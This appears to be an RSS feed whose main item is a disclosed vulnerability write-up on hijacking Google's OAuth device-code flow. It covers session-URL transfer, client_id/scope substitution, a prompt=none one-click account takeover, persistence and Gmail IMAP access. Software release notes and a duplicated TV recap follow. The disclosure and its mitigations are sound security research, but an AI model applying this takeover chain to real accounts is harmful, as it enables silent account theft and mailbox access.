src="https://cdn-images-1.medium.com/max/1024/0*qmQssZXzIn_0kJeh.png"><figcaption><em>The YouTube TV “Add your Google Account” screen: a QR code and a short user_code, with instructions to finish sign-in on a phone.</em></figcaption></figure><p>Nothing about that felt unusual as a user, but the flow itself was intriguing: a screen with no keyboard asking me to authenticate on a completely separate device, and coming back logged in seconds later. That disconnect between where I typed my password and where the session actually landed is what made me want to look at it more closely. Behind the scenes, that’s:</p><ul><li>POST https://oauth2.googleapis.com/device/code → device_code + user_code.</li><li>The PS5 polling POST https://oauth2.googleapis.com/token with that device_code.</li><li>My phone’s browser walking through https://accounts.google.com/o/oauth2/v2/auth?… to finalize consent once I typed the code and signed in.</li><li>The PS5’s next poll returning an access token.</li></ul><p>Standard, boring, RFC-compliant. The interesting part is what that accounts.google.com/o/oauth2/v2/auth URL is actually carrying, and what happens if you don't treat it as disposable. That question is exactly what kicked off everything that follows.</p><h3>4. The Transferable Session</h3><p>The obvious question with any flow where “the state lives in a URL” is: what happens if you just move the URL? If the entire sign-in step for a device_code can be handed to someone else, then whoever finishes that sign-in step ends up logged into <em>my</em> device, not theirs.</p><p>RFC 8628 §5.4 anticipates exactly this and tells implementers not to let it happen: the whole security model of the flow depends on the user completing verification on a device they’re <em>not</em> about to lose control of.</p><p>I started a fresh device flow on the PS5, walked through google.com/device on a laptop, and at the consent screen copied the resulting URL into a second browser. That failed outright: no session for the second browser to pick up.</p><p>But the device-code page asks for an email address <em>before</em> showing consent. Entering one forwards the browser to a different endpoint entirely: a <em>challenge</em> page at accounts.google.com/v3/signin/challenge/…, carrying a new parameter, TL=APouJz6T…. Sending <em>that</em> URL to a second browser worked. The second browser prompted a completely normal Google sign-in. Seconds after logging in, that account showed up on the PS5.</p><p>TL is an encrypted blob carrying the session state, practically certain to be the device_code, or something that resolves to it, given that it's the only thing left in the URL that could anchor the poll back to a specific device.</p><p><strong>Vulnerability #1: the device-code sign-in session is transferable via URL.</strong> RFC 8628 explicitly says it shouldn’t be. Send the link, get the account.</p><p>That’s a real account takeover, but a narrow one. YouTube TV’s scopes are capped by design, and that cap is the wall I hit next.</p><h3>5. Breaking the Scope Fence</h3><p>A YouTube TV account takeover is real, but Google fences the device flow to a short, deliberately low-risk scope allowlist. Per <a href="https://developers.google.com/identity/protocols/oauth2/limited-input-device">Google’s own docs</a>: <em>“This OAuth 2.0 flow supports a limited set of scopes.”</em> The complete list:</p><ul><li>openid, email, profile</li><li>youtube, youtube.readonly</li><li>drive.appdata, drive.file (app-scoped Drive only, not full Drive)</li></ul><p>No Gmail, no full Drive, no cloud-platform, no compute. The access token I got only worked against a YouTube TV–internal API: enough to like a video or subscribe to a channel. Not exactly a headline bug.</p><p>So I looked again at the transferable challenge URL:</p><pre>accounts.google.com/v3/signin/challenge/…<br>  ?TL=APouJz6T…              &lt;- encrypted session state<br>  &amp;response_type=none<br>  &amp;client_id=861556708454-…   &lt;- YouTube TV<br>  &amp;scope=…                    &lt;- YouTube scopes</pre><p>Two things stand out. response_type=none means this isn't a normal code/token redirect: there's nothing coming back to a callback at all. And there is <strong>no </strong><strong>redirect_uri anywhere in the URL</strong>. The entire boundary that OAuth normally relies on to pin where a grant goes is simply absent from this endpoint, because the grant never gets delivered through the browser; it gets delivered out-of-band, over the device's /token poll.</p><p>The only thing anchoring the session is TL. client_id and scope are just along for the ride in the query string. So: keep TL, swap client_id for a different application, and see which client the authorization server ends up authenticating.</p><p>I scripted the device-code issuance, took the resulting URL, and changed client_id from YouTube TV to Google's own <strong>Cloud SDK</strong> client, with scope changed to cloud-platform, compute, appengine.admin. The consent screen that came back said <strong>Google Cloud SDK</strong>, listing the elevated scopes. Approving it, my polling script, still polling with the <em>original</em> YouTube TV device_code, got back a token on its next call. Inspecting it: cloud-platform, compute, appengine.admin. Not YouTube.</p><p><strong>Vulnerability #2: the server never validates that the </strong><strong>client_id and </strong><strong>scope in the authorization URL match what the </strong><strong>device_code was actually issued for.</strong></p><p>Combined with vulnerability #1, the authorization server ends up issuing tokens under one client’s identity (Google Cloud SDK, or any other Google-registered client, first- or third-party) for a session that started under a completely different one (YouTube TV). redirect_uri isn't just weakly validated here: it's not present at all, because the grant never travels through a redirect in this flow to begin with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*4UwF2sE4BZuwRTMM9aJo9w.gif"><figcaption><em>PoC: device-code hijack escalated from YouTube TV to Google Cloud SDK scopes</em></figcaption></figure><p>The escalation chain worked end to end, at least on paper. Only one step was left: telling Google about it, and finding out whether they’d agree it was a bug at all.</p><h3>6. From Consent Screen to One Click</h3><p>I filed this as a report. It came back rejected the next day, citing user interaction: the victim “consented.” Fair, in a narrow sense: the consent screen is genuinely rendered by Google, the click is a genuine click. But the <em>thing being consented to</em> was shaped entirely by parameter substitution in a link I built, and from the victim’s side there is nothing to notice that’s different from any other Google sign-in. Still, “user interaction” was the stated bar, so the next step was removing it.</p><p>OAuth has a prompt parameter for exactly the case of skipping the consent screen: set to none, it tells the authorization server not to show any UI if the user has already granted the requested scopes to that client before. It's meant to be narrow, restricted to low-risk scopes like openid, email, profile, and gated on prior consent.</p><p>In practice it isn’t narrow at all. “Sign in with Google” is everywhere, and most people have already granted openid email profile to dozens, sometimes hundreds, of apps over the years without ever thinking about it again.</p><p>Take the weaponized device-code URL, drop in Facebook’s client_id (any site using "Sign in with Google" works the same way), set scope=openid email profile, add prompt=none. The victim opens the link, and that's the only action required: no consent screen, no button to press. The browser silently completes the flow in the background, the polling script receives an id_token for that third-party application, and that token replays cleanly against the app's own "Sign in with Google" endpoint.</p><p><strong>One link. Opening it is the only interaction required. Account takeover on virtually any application that uses Sign in with Google.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*hHiWXmNkC5aWkKKDsmLD9w.gif"><figcaption><em>PoC: prompt=none one-click bypass against a third-party client</em></figcaption></figure><p>The technical bypass was solid. What I didn’t know yet was whether any of it would actually be visible, to the victim or to Google’s own monitoring, if it were used for real.</p><h3>7. Why the Victim Never Notices</h3><p>The natural follow-up: surely <em>something</em> surfaces to the victim: a login alert, a new entry under connected apps, a 2FA prompt? It doesn’t, and that’s not incidental. Every signal that would normally catch this gets routed around by the shape of the device-code flow itself.</p><p><strong>Audit trail pollution.</strong> myaccount.google.com/connections shows the <em>original</em> client bound to the device_code, YouTube TV, never the substituted application. To find any trace of the attack, a victim would have to open the connections page, scroll to find "YouTube TV" among however many connected apps they have, click into it, click "see details" to expand the granted scopes, and then recognize that YouTube TV requesting cloud-platform / compute / appengine.admin is not normal. Five deliberate steps and a piece of domain knowledge very few people have.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Nq78jsm8FNLJ6QFG.png"><figcaption><em>The “YouTube on TV” connections entry, expanded: Gmail read/compose/send/delete, Cloud SQL, App Engine, and Compute Engine, all under a client that’s supposed to only need YouTube scopes</em></figcaption></figure><p><strong>Implicit 2FA bypass.</strong> The victim goes through a completely ordinary Google sign-in, which already satisfies any 2FA they have configured. The token handoff to the attacker happens afterward, over the device poll, with no further prompt of any kind. The actual high-risk action, an OAuth grant under an arbitrary client’s identity, never trips a high-risk challenge, because as far as the authentication layer is concerned, nothing risky happened; a user just logged in normally.</p><p>Stealth, solved. The remaining question was reach: how far the same substitution trick could be pushed past YouTube TV’s own scopes.</p><h3>8. Extending the Primitive</h3><p>Stealth is one axis; reach is the other. The same client_id/scope substitution keeps paying out against different corners of the Google ecosystem.</p><p><strong>Persistent access via </strong><strong>accounts.reauth.</strong> Add that scope to the substitution and the resulting grant can refresh indefinitely, with no further victim interaction required: a shoot-and-forget backdoor rather than a one-time token.</p><p><strong>A Gmail backdoor via IMAP, not the REST API.</strong> Substituting a client_id that's allowed to request https://mail.google.com (Apple's iOS Mail client, for instance) gets a token scoped to full Gmail access. Hitting the Gmail REST API with it fails: <em>"Gmail API has not been used in project 861556708454 before or it is disabled."</em> That project ID belongs to YouTube TV, and the original device-code client never had the Gmail API enabled. That's a project-level gate, not a token-level one, so it's worth checking whether there's another door into the same mailbox. Gmail's IMAP server supports OAuth via the <strong>XOAUTH2</strong> SASL mechanism, using the exact same https://mail.google.com/ scope but going through imap.gmail.com:993 instead of the REST API's project-gated surface. It accepts the token without issue. Full inbox access, with the same token the REST API had just rejected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*k7pQv3pDxP21l5DQ.png"><figcaption><em>Successful IMAP XOAUTH2 authentication over the substituted token, listing real Gmail folders and recent inbox messages</em></figcaption></figure><p>End to end: a transferable session, plus unvalidated client_id/scope binding, plus prompt=none, equals a link that's invisible to the person who opens it and ends in a fully compromised account, Gmail included.</p><p>Chain complete: transferable session, unbound client_id/scope, prompt=none, silent to the victim, and a Gmail backdoor at the end of it. Time to see what Google's VRP panel made of all that.</p><h3>9. Disclosure Timeline</h3><p><strong>Feb 25, 2026</strong> Report filed with Google VRP<br><strong>Mar 2, 2026</strong> Closed: Won’t Fix (Intended Behavior), citing “social engineering”<br><strong>Mar 2, 2026</strong> Pushed back same day<br><strong>Mar 3, 2026</strong> Reopened, then closed again: Won’t Fix (Infeasible)<br><strong>Mar 3, 2026</strong> Countered with a prompt=none one-click PoC against Facebook’s client_id<br><strong>Mar 4, 2026</strong> Reopened a second time and accepted; bug filed with the product team<br><strong>Mar 28, 2026</strong> Marked fixed<br><strong>Apr 2, 2026</strong> Rewarded $13,337</p><p>The two rejections both leaned on the same argument: that tricking a user into approving an OAuth prompt is a social-engineering problem, not a vulnerability in Google’s implementation. That didn’t hold up on either pass. The first rejection ignored that this is the exact sign-in flow every Google user already knows, on accounts.google.com, arriving at an app that has no business holding cloud-platform or appengine.admin scopes doing exactly that. The second treated it as equivalent to installing a malicious OAuth app, which the prompt=none PoC against Facebook's client_id directly disproved: there was no prompt to approve, and no app to install; the victim only had to open a link.</p><h3>10. Mitigations</h3><p>For a flow that’s explicitly designed to hand sign-in off to a second device, the fix has to happen server-side, since there’s nothing meaningful a client application can check on its own:</p><ol><li>Keep user_code, device_code, and any session reference that resolves to them out of URLs entirely. If a session can't be copied into a different browser, it can't be handed to a victim.</li><li>Bind client_id and scope to the device_code at issuance time, server-side. At the consent step, look those values up from that binding instead of trusting whatever the URL says; reject any mismatch.</li><li>On the consent screen, show device information (name, model) and require the user to actively confirm that device is the one in front of them.</li></ol><h3>11. Conclusion</h3><p>The device authorization grant is a narrow, deliberately low-trust flow, right up until the authorization server treats “who is asking” and “what are they asking for” as details that only need to be true at the <em>start</em> of the flow, not checked again by the time consent is granted. Once the session itself turned out to be transferable across browsers, the missing binding between device_code and client_id/scope stopped being a narrow YouTube TV bug and became a way to mint tokens for any Google-registered client, first-party or third-party, capped only by which scopes that client happens to be allowed to request.</p><p>Thanks for reading.</p><p>Originally published on <a href="https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html">https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=dc6ec2db35a9" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/confused-deputy-google-idp-universal-account-takeover-via-device-code-flow-hijacking-dc6ec2db35a9">Confused Deputy: Google IdP Universal Account Takeover via Device Code Flow Hijacking</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.212]]></title>
<description><![CDATA[What's changed

/fork now copies your conversation into a new background session (its own row in claude agents) while you keep working; the in-session subagent it used to launch is now /subtask
Added claude auto-mode reset to restore the default auto-mode configuration, with a confirmation prompt...]]></description>
<link>https://tsecurity.de/de/3674861/downloads/v21212/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674861/downloads/v21212/</guid>
<pubDate>Fri, 17 Jul 2026 02:31:39 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li><code>/fork</code> now copies your conversation into a new background session (its own row in <code>claude agents</code>) while you keep working; the in-session subagent it used to launch is now <code>/subtask</code></li>
<li>Added <code>claude auto-mode reset</code> to restore the default auto-mode configuration, with a confirmation prompt (pass <code>--yes</code> to skip)</li>
<li>Added a session-wide limit on WebSearch tool calls (default 200, tunable via <code>CLAUDE_CODE_MAX_WEB_SEARCHES_PER_SESSION</code>) to stop runaway search loops</li>
<li>Added a per-session cap on subagent spawns (default 200, override with <code>CLAUDE_CODE_MAX_SUBAGENTS_PER_SESSION</code>) to stop runaway delegation loops; <code>/clear</code> resets the budget</li>
<li>MCP tool calls running longer than 2 minutes now move to the background automatically so the session stays usable; configure the threshold or disable with <code>CLAUDE_CODE_MCP_AUTO_BACKGROUND_MS</code></li>
<li>Typing <code>/resume</code> in the agent view now opens a picker of past sessions — including sessions deleted from the list — and resumes your pick as a background session</li>
<li>Fixed plan mode auto-running file-modifying Bash commands (e.g. <code>touch</code>, <code>rm</code>) without a permission prompt or SDK <code>canUseTool</code> callback</li>
<li>Fixed worktree creation following a repository-committed symlink at <code>.claude/worktrees</code>, which could create files outside the repository</li>
<li>Fixed a <code>continue:false</code> hook's halt being dropped when the tool fails or completes mid-stream, and hook infrastructure errors being misreported as user rejections</li>
<li>Fixed SIGTERM during a running Bash tool orphaning the command's process tree in print/SDK mode; the CLI now aborts the turn, kills the tree, and exits 143</li>
<li>Fixed <code>/background</code> and <code>claude --bg</code> failing with "EUNKNOWN: unknown error, uv_spawn" on Windows when Group Policy blocks PowerShell 5.1; the daemon now prefers PowerShell 7</li>
<li>Fixed shell mode (<code>!</code>) not executing commands containing file paths while the path autocomplete popup was open</li>
<li>Fixed auto-mode denial notifications rendering broken characters when a long denial reason was truncated mid-emoji</li>
<li>Fixed Ctrl+J not inserting a newline in the agent view dispatch input on terminals with extended key reporting, and surfaced the newline shortcut in the <code>?</code> help overlay</li>
<li>Fixed <code>/ultrareview</code> rejecting PR references like <code>#123</code>, <code>PR 123</code>, and pasted PR URLs; error hints now name the command you actually typed</li>
<li>Fixed <code>/ultrareview &lt;branch&gt;</code> not fetching the branch from origin when it exists remotely; it now suggests the closest branch name on typos</li>
<li>Fixed <code>/ultrareview</code> skipping the billing confirmation in a new conversation after <code>/clear</code></li>
<li>Fixed <code>/ultrareview</code>'s "not a git repository" error on Claude Desktop now suggesting the project's repository folder instead of terminal commands</li>
<li>Fixed hosted (host-managed) sessions failing at startup when repository settings configured mTLS certs, extra CA bundles, or OAuth scopes; these transport settings are now ignored with a warning</li>
<li>Fixed a spurious "File has not been read yet" error when editing a file that had been read with offset/limit before resuming a session</li>
<li>Fixed <code>ExitWorktree</code> failing with "no active EnterWorktree session" after resuming a session with <code>--continue</code>/<code>--resume</code> in print/SDK mode</li>
<li>Fixed the workflow agent grid staying empty for Remote Control clients that join a session mid-run</li>
<li>Fixed streaming-mode control requests being marked complete before their handler finished, which could lose the request on session restart</li>
<li>Fixed background sessions created with <code>/fork</code> losing their live-parent protection after a state write failure</li>
<li>Fixed reopening a stopped background session from the agent view failing silently — it now resumes the session, or shows why it can't and lets you force a restart</li>
<li>Fixed agent teams: a stopping teammate could send the leader duplicate idle notifications when team initialization re-ran within a session</li>
<li>Fixed the plan-approval dialog footer splitting "ctrl+g to edit in " apart when the file path is long</li>
<li>Fixed the welcome banner keeping its old panel widths after a combined width+height terminal resize in fullscreen mode</li>
<li>Fixed diff previews losing their line numbers and +/- markers in narrow layouts</li>
<li>Fixed @-mentions attaching nothing after a partial file read, plugin uninstall targeting the wrong marketplace, and false "Command timed out" on exit code 143</li>
<li>Fixed OpenTelemetry HTTP exports being rejected with 411/400 by Azure Monitor and other endpoints that don't accept chunked transfer encoding</li>
<li>Fixed OTLP event log records missing <code>trace_id</code>/<code>span_id</code> when <code>TRACEPARENT</code> is set in SDK/headless mode</li>
<li>Fixed conversations with many images incorrectly failing with "Request too large" errors, and improved the error message to explain the actual cause</li>
<li>Fixed web search and web fetch returning "API Error" text as search results or page content when the API was overloaded</li>
<li>Improved web search and web fetch reliability by retrying 529 errors and rate-limited requests with bounded backoff</li>
<li>Improved prompt caching: the mid-conversation system block now works behind LLM gateways and custom base URLs (Bedrock, Vertex, 1P)</li>
<li>Improved background agent attach: cold-attaching now instantly shows the formatted transcript while the session boots, instead of a blank wait</li>
<li>Reduced token usage in inter-agent messaging: <code>SendMessage</code> bodies are no longer duplicated into replayed history and tool results</li>
<li>Changed <code>/fork</code> to name the copy after your prompt when the session has no title, so the row is recognizable in the agent view</li>
<li>Changed bare <code>/btw</code> to reopen the side-question panel on your most recent exchange so you can browse earlier answers</li>
<li>Changed the <code>←</code> footer hint to pulse <code>N done</code> for a moment when a background agent finishes while nothing needs your input</li>
<li>Deprecated the Task tool's <code>mode</code> parameter (now ignored); subagents inherit the parent session's permission mode by default</li>
<li>Changed Enterprise <code>forceLoginMethod</code> to be enforced for VS Code extension, SDK, <code>setup-token</code>, and <code>install-github-app</code> logins, not just the terminal</li>
<li>Changed session transcripts to record the reasoning effort level on each assistant message</li>
<li>Changed headless/SDK sessions to apply a <code>set_model</code> control request mid-turn; the next model round-trip uses the new model instead of waiting for the next turn</li>
<li>Changed agent view / <code>claude agents --json</code>: sessions waiting on a sandbox, MCP-input, or managed-settings prompt now show as "Needs input" instead of "Working"</li>
<li>Updated the auth status panel title from "Cloud authentication" to "Authentication"</li>
<li>Corrected an earlier release note (2.1.200): tmux through the 3.6 series lacks synchronized output; newer tmux with support is detected automatically</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.211]]></title>
<description><![CDATA[What's changed

Added --forward-subagent-text flag and CLAUDE_CODE_FORWARD_SUBAGENT_TEXT environment variable to include subagent text and thinking in stream-json output
Fixed permission previews relayed to chat channels not neutralizing bidirectional-override, zero-width, and look-alike quote ch...]]></description>
<link>https://tsecurity.de/de/3672066/downloads/v21211/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672066/downloads/v21211/</guid>
<pubDate>Thu, 16 Jul 2026 01:16:22 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added <code>--forward-subagent-text</code> flag and <code>CLAUDE_CODE_FORWARD_SUBAGENT_TEXT</code> environment variable to include subagent text and thinking in stream-json output</li>
<li>Fixed permission previews relayed to chat channels not neutralizing bidirectional-override, zero-width, and look-alike quote characters, so tool inputs cannot visually alter the approval message</li>
<li>Fixed auto mode overriding a PreToolUse hook's <code>ask</code> decision for unsandboxed Bash — a hook <code>ask</code> now floors the decision at a prompt</li>
<li>Fixed parallel Claude Code sessions all logging out simultaneously after wake-from-sleep when many sessions share one credential store</li>
<li>Fixed plugin MCP servers not reconnecting after an idle web session woke, leaving MCP calls failing until the next message</li>
<li>Fixed Claude Code on Vertex and Bedrock attempting the default Opus model at startup and printing a spurious fallback notice when a model is explicitly configured</li>
<li>Fixed subagents spawned with an explicit model override reverting to the parent's model when resumed or sent a follow-up message</li>
<li>Fixed nested <code>.claude/rules/*.md</code> files loading even when setting sources exclude project settings</li>
<li>Fixed file upload validation: filenames ending in a DOS device suffix (<code>.prn</code>) or trailing dot are now accepted, and files with multiple hard links are refused</li>
<li>Fixed file uploads to Claude in Chrome from remote and CLI sessions</li>
<li>Fixed edits that leave the input as "?" being silently swallowed and toggling the shortcuts panel</li>
<li>Fixed a startup hang when the Claude in Chrome extension is enabled but Chrome is not running</li>
<li>Fixed a 300ms delay revealing async content (Settings tabs, Stats, diff views, and other loading states)</li>
<li>Fixed reopening a just-stopped background session from the agents view starting a blank conversation under the same session id</li>
<li>Fixed <code>/loop</code> hiding the session from <code>/resume</code> after a single use</li>
<li>Fixed screen reader users losing the audible terminal bell after <code>/terminal-setup</code> or onboarding terminal setup</li>
<li>Fixed background jobs on LLM gateway auth (<code>ANTHROPIC_AUTH_TOKEN</code> + <code>ANTHROPIC_BASE_URL</code>) coming back "Not logged in" after the daemon respawns them</li>
<li>Fixed <code>claude agents</code> jobs becoming permanently undeletable when git no longer recognizes their worktree — the row now shows why the delete was refused instead of silently reappearing</li>
<li>Fixed <code>/clear</code> not resetting the session cost counter — the statusline's cost now starts at $0 after <code>/clear</code></li>
<li>Fixed Claude in Chrome setup pages failing to open in the browser on Windows</li>
<li>Fixed headless print-mode sessions on Windows crashing or silently exiting when stdin is unreadable</li>
<li>Fixed background session titles in the agents view showing the naming model's refusal text when the prompt contains a link</li>
<li>Fixed background agents killed by the user auto-respawning, and revived agents re-running stale prompts from old sessions</li>
<li>Fixed routines with no schedule reporting a next run time in the year 1</li>
<li>Hardened synced skill/plugin directory naming on Windows and kept CCR web fetch/search proxies working after <code>/clear</code></li>
<li>Improved terminal layout and rendering performance</li>
<li>Improved background agent result reporting — Claude now reports the status of still-running agents and waits for the real completion instead of fabricating results</li>
<li>Improved the memory index over-limit warning to measure only loaded content, excluding frontmatter and HTML comments</li>
<li>Updated integer environment variables (timeouts, token budgets, retry counts) to accept scientific notation and digit-separator spellings like <code>1e6</code> and <code>64_000</code></li>
<li>Updated documentation links to the current docs sites</li>
<li>Changed "always allow" permission rules to save at the repository root, so approvals granted in a git worktree persist across sessions and worktrees</li>
<li>Changed <code>/usage-credits</code> to ask for confirmation before sending a request to organization admins</li>
<li>Changed Vim mode <code>s</code> and <code>S</code> (substitute char/line) to work in NORMAL mode, matching vim behavior</li>
<li>[VSCode] Updated the Remote Control banner to describe what it does</li>
<li>Claude in Chrome: hardened file-upload path validation</li>
<li>Claude in Chrome: <code>save_to_disk</code> on screenshot actions now writes the image to disk and returns the path; previously it did nothing</li>
<li>Fixed a prompt-caching regression on Bedrock, Vertex, Mantle, and Foundry that billed the trailing system context block as fresh input tokens on every request.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Maximum Pleasure Guaranteed Episode 10 Recap: Who Survived the Gunshot?]]></title>
<description><![CDATA[Maximum Pleasure Guaranteed Episode 10 confirms that Detective Baxter survived the gunshot fired by Jennifer in the woods. However, his survival creates another serious problem for the Souter Group, which quickly begins removing anyone who can expose its operation.



Major spoilers for Episode 1...]]></description>
<link>https://tsecurity.de/de/3670809/ios-mac-os/maximum-pleasure-guaranteed-episode-10-recap-who-survived-the-gunshot/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670809/ios-mac-os/maximum-pleasure-guaranteed-episode-10-recap-who-survived-the-gunshot/</guid>
<pubDate>Wed, 15 Jul 2026 15:24:36 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maximum Pleasure Guaranteed Episode 10 confirms that Detective Baxter survived the gunshot fired by Jennifer in the woods. However, his survival creates another serious problem for the Souter Group, which quickly begins removing anyone who can expose its operation.



Major spoilers for Episode 10, “Queens,” follow.




Episode title: Queens



Release date: July 15, 2026



Streaming platform: Apple TV



Genre: Dark comedy, crime and thriller



Duration: Around 38 minutes



Season: Season 1, Episode 10



Main cast: Tatiana Maslany, Jake Johnson, Dolly de Leon, Murray Bartlett, Jon Michael Hill, Charlie Hall and Kiarra Hamagami Goldberg




Episode 10 serves as the Season 1 finale of the ten-part Apple TV series. It continues immediately after Jennifer shoots Baxter and escapes, while Paula enters the Souter Group’s private gathering to confront Cecilia.



Did Detective Baxter Survive the Gunshot?



Yes, Detective Baxter survives.



The finale later shows Baxter waking up in a hospital bed with Detective Gonzalez beside him. Gonzalez promises that they will discover what really happened, suggesting that the police investigation into Jennifer and the Souter Group remains active.



Baxter’s survival makes Jennifer dangerous to the people who hired her. She can now face charges for shooting a police officer, and Baxter can help identify her. The Souter Group also knows that Jennifer has enough information to expose the people behind the murders, surveillance and blackmail operation.



Jennifer believes completing the job against Paula will restore her position. However, Brian approaches her while she sits inside her car and shoots her several times. He then reports that the assignment has been completed. Jennifer does not survive the finale.



Paula Confronts Cecilia



Paula reaches Cecilia and explains that she has uncovered the connection between Trevor, Dennis and the Souter Group. The company publicly presents itself as a risk-advisory business, but Paula believes it secretly uses surveillance, threats and violence to influence events for powerful clients.



Paula cannot prove every part of the conspiracy, although she has evidence that Dennis bribed Joyce to help Cecilia’s son enter Yale. She threatens to expose that information unless Cecilia protects her and Hazel.



Cecilia appears to accept the deal because Paula soon receives exactly what she needs. The murder case against her disappears, and the company creates another suspect.



Dennis Survived His Shooting, but Does Not Survive the Finale



The episode reveals that Dennis survived after Paula shot him in the face. His injuries left him badly disfigured, while the Souter Group secretly kept him alive until it needed someone to blame.



Two workers take Dennis to a rooftop, place a false suicide note in his pocket and push him from the building. The note claims that he killed Trevor and Sky, which allows the police to close the case and clear Paula.



Therefore, Baxter and Dennis both survived their original gunshot wounds, although Dennis is later killed.



Does Paula Win Custody of Hazel?



Paula also survives the custody hearing against Karl and Mallory. Their lawyer raises her relationship with Trevor, her drinking and the mysterious Portland incident.



Paula admits that she struggled after her divorce, but she explains that loneliness and personal mistakes do not make her an unfit mother. The judge rules in her favour, allowing Hazel to remain in New York under the existing custody arrangement.



What Does the Final Scene Mean?



Paula’s victory does not last long.



An unknown person sends her security footage from Portland. The video appears to show Paula deliberately driving into Caleb, revealing that she played a direct role in his death. The sender tells Paula that they now control her and expect her to complete a favour.



Paula finally answers the phone as the season ends. The scene suggests that Cecilia spared Paula because the Souter Group sees value in her research skills and wants to force her into working for them. However, the identity of the caller remains unconfirmed.



Maximum Pleasure Guaranteed Episode 10 answers the gunshot cliffhanger while opening a much larger mystery around Paula’s past. What did you think about the finale, and do you plan to watch a possible second season? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Maximum Pleasure Guaranteed Episode 10 Recap: Who Survived the Gunshot?]]></title>
<description><![CDATA[Maximum Pleasure Guaranteed Episode 10 confirms that Detective Baxter survived the gunshot fired by Jennifer in the woods. However, his survival creates another serious problem for the Souter Group, which quickly begins removing anyone who can expose its operation.



Major spoilers for Episode 1...]]></description>
<link>https://tsecurity.de/de/3670572/ios-mac-os/maximum-pleasure-guaranteed-episode-10-recap-who-survived-the-gunshot/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670572/ios-mac-os/maximum-pleasure-guaranteed-episode-10-recap-who-survived-the-gunshot/</guid>
<pubDate>Wed, 15 Jul 2026 14:09:12 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maximum Pleasure Guaranteed Episode 10 confirms that Detective Baxter survived the gunshot fired by Jennifer in the woods. However, his survival creates another serious problem for the Souter Group, which quickly begins removing anyone who can expose its operation.



Major spoilers for Episode 10, “Queens,” follow.




Episode title: Queens



Release date: July 15, 2026



Streaming platform: Apple TV



Genre: Dark comedy, crime and thriller



Duration: Around 38 minutes



Season: Season 1, Episode 10



Main cast: Tatiana Maslany, Jake Johnson, Dolly de Leon, Murray Bartlett, Jon Michael Hill, Charlie Hall and Kiarra Hamagami Goldberg




Episode 10 serves as the Season 1 finale of the ten-part Apple TV series. It continues immediately after Jennifer shoots Baxter and escapes, while Paula enters the Souter Group’s private gathering to confront Cecilia.



Did Detective Baxter Survive the Gunshot?



Yes, Detective Baxter survives.



The finale later shows Baxter waking up in a hospital bed with Detective Gonzalez beside him. Gonzalez promises that they will discover what really happened, suggesting that the police investigation into Jennifer and the Souter Group remains active.



Baxter’s survival makes Jennifer dangerous to the people who hired her. She can now face charges for shooting a police officer, and Baxter can help identify her. The Souter Group also knows that Jennifer has enough information to expose the people behind the murders, surveillance and blackmail operation.



Jennifer believes completing the job against Paula will restore her position. However, Brian approaches her while she sits inside her car and shoots her several times. He then reports that the assignment has been completed. Jennifer does not survive the finale.



Paula Confronts Cecilia



Paula reaches Cecilia and explains that she has uncovered the connection between Trevor, Dennis and the Souter Group. The company publicly presents itself as a risk-advisory business, but Paula believes it secretly uses surveillance, threats and violence to influence events for powerful clients.



Paula cannot prove every part of the conspiracy, although she has evidence that Dennis bribed Joyce to help Cecilia’s son enter Yale. She threatens to expose that information unless Cecilia protects her and Hazel.



Cecilia appears to accept the deal because Paula soon receives exactly what she needs. The murder case against her disappears, and the company creates another suspect.



Dennis Survived His Shooting, but Does Not Survive the Finale



The episode reveals that Dennis survived after Paula shot him in the face. His injuries left him badly disfigured, while the Souter Group secretly kept him alive until it needed someone to blame.



Two workers take Dennis to a rooftop, place a false suicide note in his pocket and push him from the building. The note claims that he killed Trevor and Sky, which allows the police to close the case and clear Paula.



Therefore, Baxter and Dennis both survived their original gunshot wounds, although Dennis is later killed.



Does Paula Win Custody of Hazel?



Paula also survives the custody hearing against Karl and Mallory. Their lawyer raises her relationship with Trevor, her drinking and the mysterious Portland incident.



Paula admits that she struggled after her divorce, but she explains that loneliness and personal mistakes do not make her an unfit mother. The judge rules in her favour, allowing Hazel to remain in New York under the existing custody arrangement.



What Does the Final Scene Mean?



Paula’s victory does not last long.



An unknown person sends her security footage from Portland. The video appears to show Paula deliberately driving into Caleb, revealing that she played a direct role in his death. The sender tells Paula that they now control her and expect her to complete a favour.



Paula finally answers the phone as the season ends. The scene suggests that Cecilia spared Paula because the Souter Group sees value in her research skills and wants to force her into working for them. However, the identity of the caller remains unconfirmed.



Maximum Pleasure Guaranteed Episode 10 answers the gunshot cliffhanger while opening a much larger mystery around Paula’s past. What did you think about the finale, and do you plan to watch a possible second season? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.210]]></title>
<description><![CDATA[What's changed

Added a live elapsed-time counter to the collapsed tool summary line so long-running tool calls visibly tick instead of looking stuck
Added a startup warning for Write(path), NotebookEdit(path), and Glob(path) permission rules — use Edit(path) or Read(path) instead
Fixed isolation...]]></description>
